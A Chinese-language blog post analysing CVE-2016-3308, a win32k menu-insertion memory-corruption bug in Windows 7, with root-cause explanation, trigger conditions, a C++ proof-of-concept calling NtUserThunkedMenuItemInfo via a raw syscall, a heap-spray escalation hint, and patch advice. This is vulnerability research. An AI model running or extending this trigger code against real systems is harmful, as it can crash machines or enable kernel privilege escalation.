a case of cve study 00: cve-2016-3308
字数 1167 2025-08-29 08:32:09

CVE-2016-3308漏洞分析与研究

漏洞概述

CVE-2016-3308是Windows图形设备接口(GDI)中的一个漏洞,存在于win32k!xxxInsertMenuItem函数中。该漏洞属于内存破坏类型,可能导致权限提升或系统崩溃。漏洞影响Windows 7 x86 SP1系统。

漏洞原理

核心问题

漏洞的根本原因在于xxxInsertMenuItem函数中两次调用MNLookUpItem函数时存在不一致性,导致获取的菜单项指针可能指向错误的菜单层级,从而在后续内存操作中造成越界写入。

关键函数分析

MNLookUpItem函数

PITEM MNLookUpItem(
    PMENU pMenu,        // 从哪个菜单开始查找
    UINT wCmd,          // ID(0)或index(1)
    BOOL fByPosition,   // 如果是FALSE,以index方式进行查找
    PMENU *ppMenuItemIsOn)  // 返回在哪一个菜单找到的

该函数用于查找菜单项,有两种查找模式:

  1. 按位置查找:当fByPosition为TRUE时,直接通过数组索引获取菜单项
  2. 按ID查找:当fByPosition为FALSE时,递归查找匹配ID的菜单项

xxxInsertMenuItem函数

BOOL xxxInsertMenuItem(
    PMENU pMenu,        // 进行插入操作的Menu对象指针
    UINT wIndex,        // 选择在哪个位置进行插入操作
    BOOL fByPosition,   // 根据Index还是根据ID
    LPMENUITEMINFOW lpmii,  // 需要插入的信息
    PUNICODE_STRING pstrItem)  // 菜单项文字内容(未逆向)

该函数用于在菜单中插入新项,主要流程:

  1. 查找插入位置
  2. 必要时重新分配内存
  3. 移动现有项腾出空间
  4. 插入新项

漏洞触发流程

  1. 第一次调用MNLookUpItem查找插入位置
  2. 如果菜单项数超过分配数(cItems >= cAlloced),重新分配内存
  3. 第二次调用MNLookUpItem查找插入位置
  4. 执行memmove移动菜单项

漏洞关键点

  • 第二次调用MNLookUpItem可能返回子菜单中的项
  • memmove计算移动大小时使用的是父菜单的rgItems作为基址
  • 导致基于错误基址计算移动大小,造成内存破坏

触发条件

  1. 构造一个菜单结构,其中:

    • 主菜单有多个子菜单
    • 子菜单的子菜单中包含wID为1的项
    • 子菜单的第一项设置hbmpMENUHBM_SYSTEM(值为1)
  2. 通过以下操作触发:

    • 插入足够多的菜单项使需要重新分配内存
    • 指定wIndex为子菜单第一项的wID
    • 设置fByPosition为FALSE

POC代码分析

#include <iostream>
#include <Windows.h>

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

HMENU hMenu = NULL;

// 使用系统调用直接调用NtUserThunkedMenuItemInfo
_declspec(naked) BOOL NtUserThunkedMenuItemInfo(...)
{
    __asm {
        mov     eax, 1256h
        mov     edx, 7ffe0300h
        call    dword ptr[edx]
        ret     18h
    }
}

int main()
{
    HMENU hMenu = CreateMenu();
    HMENU hmenuPopup = CreateMenu();
    MENUITEMINFO mii = {};

    // 构造特殊菜单结构
    for (int i = 0; i < 0xF; i++) {
        mii.cbSize = sizeof(MENUITEMINFO);
        mii.fMask = MIIM_ID | MIIM_DATA | MIIM_SUBMENU | MIIM_BITMAP;
        mii.wID = (i == 6 ? 1 : 0x100 + i);  // 第6项设置wID为1
        mii.hSubMenu = (i == 0xE ? hmenuPopup : NULL);
        mii.hbmpItem = (i==7 ? (HBITMAP)1:NULL);  // 第7项设置hbmp为1
        InsertMenuItem(i < 7 ? hmenuPopup : hMenu, i < 7 ? i : i - 7, TRUE, &mii);
    }

    try {
        // 触发漏洞
        NtUserThunkedMenuItemInfo(hMenu, 0x107, FALSE, TRUE, (LPMENUITEMINFOW)&mii, NULL, 0);
    } catch (const char* msg) {
        std::cerr << msg << std::endl;
    }
    return 0;
}

漏洞利用

  1. 可能需要多次运行才能触发,因为破坏的内存可能不重要
  2. 可通过堆喷技术控制破坏的内存区域
  3. 最终可能导致权限提升或系统崩溃

防御措施

微软已发布补丁修复此漏洞,建议:

  1. 及时安装安全更新
  2. 对用户模式调用GDI函数进行严格验证
  3. 实现适当的沙箱机制限制此类漏洞的影响

研究意义

  1. 展示了Windows内核组件中的递归查找与内存管理交互可能导致的漏洞
  2. 强调了在重新分配内存后必须重新验证所有相关指针的重要性
  3. 为理解菜单管理组件的安全性提供了案例

相关资源

  1. 55-AA-CVE-2016-3308
  2. An Analysis of MS16-098 / ZDI-16-453
  3. From CVE-2017-0263 to the Menu Management Component
CVE-2016-3308漏洞分析与研究 漏洞概述 CVE-2016-3308是Windows图形设备接口(GDI)中的一个漏洞,存在于 win32k!xxxInsertMenuItem 函数中。该漏洞属于内存破坏类型,可能导致权限提升或系统崩溃。漏洞影响Windows 7 x86 SP1系统。 漏洞原理 核心问题 漏洞的根本原因在于 xxxInsertMenuItem 函数中两次调用 MNLookUpItem 函数时存在不一致性,导致获取的菜单项指针可能指向错误的菜单层级,从而在后续内存操作中造成越界写入。 关键函数分析 MNLookUpItem函数 该函数用于查找菜单项,有两种查找模式: 按位置查找 :当 fByPosition 为TRUE时,直接通过数组索引获取菜单项 按ID查找 :当 fByPosition 为FALSE时,递归查找匹配ID的菜单项 xxxInsertMenuItem函数 该函数用于在菜单中插入新项,主要流程: 查找插入位置 必要时重新分配内存 移动现有项腾出空间 插入新项 漏洞触发流程 第一次调用 MNLookUpItem 查找插入位置 如果菜单项数超过分配数( cItems >= cAlloced ),重新分配内存 第二次调用 MNLookUpItem 查找插入位置 执行 memmove 移动菜单项 漏洞关键点 : 第二次调用 MNLookUpItem 可能返回子菜单中的项 但 memmove 计算移动大小时使用的是父菜单的 rgItems 作为基址 导致基于错误基址计算移动大小,造成内存破坏 触发条件 构造一个菜单结构,其中: 主菜单有多个子菜单 子菜单的子菜单中包含wID为1的项 子菜单的第一项设置 hbmp 为 MENUHBM_SYSTEM (值为1) 通过以下操作触发: 插入足够多的菜单项使需要重新分配内存 指定wIndex为子菜单第一项的wID 设置fByPosition为FALSE POC代码分析 漏洞利用 可能需要多次运行才能触发,因为破坏的内存可能不重要 可通过堆喷技术控制破坏的内存区域 最终可能导致权限提升或系统崩溃 防御措施 微软已发布补丁修复此漏洞,建议: 及时安装安全更新 对用户模式调用GDI函数进行严格验证 实现适当的沙箱机制限制此类漏洞的影响 研究意义 展示了Windows内核组件中的递归查找与内存管理交互可能导致的漏洞 强调了在重新分配内存后必须重新验证所有相关指针的重要性 为理解菜单管理组件的安全性提供了案例 相关资源 55-AA-CVE-2016-3308 An Analysis of MS16-098 / ZDI-16-453 From CVE-2017-0263 to the Menu Management Component